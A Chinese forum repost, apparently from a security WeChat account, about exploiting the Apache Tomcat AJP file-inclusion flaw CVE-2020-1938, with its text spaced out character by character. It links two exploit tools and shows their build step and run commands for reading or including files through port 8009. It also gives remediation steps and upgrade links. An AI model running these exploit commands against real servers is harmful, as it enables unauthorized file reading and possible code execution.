搜索

[26614] 2020-02-21_ApacheTomcat文件包含漏洞exp（CVE-2020-1938）

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-19
2020-02-21_ApacheTomcat文件包含漏洞exp（CVE-2020-1938） A p a c h e   T o m c a t   文 件 包 含 漏 洞   e x p （ C V E - 2 0 2 0 - 1 9 3 8 ） m o o n s e c   2 0 2 0 - 0 2 - 2 1 C V E - 2 0 2 0 - 1 9 3 8 工 具 仅 用 于 安 全 研 究 以 及 内 部 自 查 ， 禁 止 使 用 工 具 发 起 非 法 攻 击 ， 造 成 的 后 果 使 用 者 负 责 工 具 仅 用 于 安 全 研 究 以 及 内 部 自 查 ， 禁 止 使 用 工 具 发 起 非 法 攻 击 ， 造 成 的 后 果 使 用 者 负 责 e x p 1 h t t p s : / / g i t h u b . c o m / 0 n i s e / C V E - 2 0 2 0 - 1 9 3 8 a p a c h e - t o m c a t - 8 . 5 . 3 2 . z i p   测 试 t o m c a t 任 意 文 件 读 取 文 件 包 含 打 包 方 式 ： 在 目 录 t o m c a t / a j p - b u g   执 行   m v n   c l e a n   c o m p i l e   a s s e m b l y : a s s e m b l y 来 源 ： h t t p s : / / g i t h u b . c o m / t h r e e d r 3 a m / l e a r n j a v a b u g 修 复 方 案 修 复 方 案 临 时 禁 用 A J P 协 议 端 口 ， 在 c o n f / s e r v e r . x m   l 配 置 文 件 中 注 释 掉 < C o n n e c t o r   p o r t = " 8 0 0 9 "   p r o t o c o l = " A J P / 1 . 3 " r e d i r e c t P o r t = " 8 4 4 3 "   / > 配 置 a j p 配 置 中 的 s e c r e t R e q u i r e d 跟 s e c r e t 属 性 来 限 制 认 证 官 方 下 载 最 新 版 下 载 地 址 ： h t t p s : / / t o m c a t . a p a c h e . o r g / d o w n l o a d - 7 0 . c g i h t t p s : / / t o m c a t . a p a c h e . o r g / d o w n l o a d - 8 0 . c g i h t t p s : / / t o m c a t . a p a c h e . o r g / d o w n l o a d - 9 0 . c g i h t t p s : / / g i t h u b . c o m / a p a c h e / t o m c a t / r e l e a s e s e x p   二 二 h t t p s : / / g i t h u b . c o m / Y D H C U I / C N V D - 2 0 2 0 - 1 0 4 8 7 - T o m c a t - A j p - l f i j a v a   - j a r   1 . j a r   c o m . t h r e e d r 3 a m . b u g . t o m c a t . a j p . F i l e R e a d   1 2 7 . 0 . 0 . 1   8 0 0 9   f i l e   / i n d e x . j s p j a v a   - j a r   1 . j a r   c o m . t h r e e d r 3 a m . b u g . t o m c a t . a j p . F i l e R e a d   1 2 7 . 0 . 0 . 1   8 0 0 9   j s p   / i n d e x . j s p
封 面 图 关 注 本 公 众 号
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理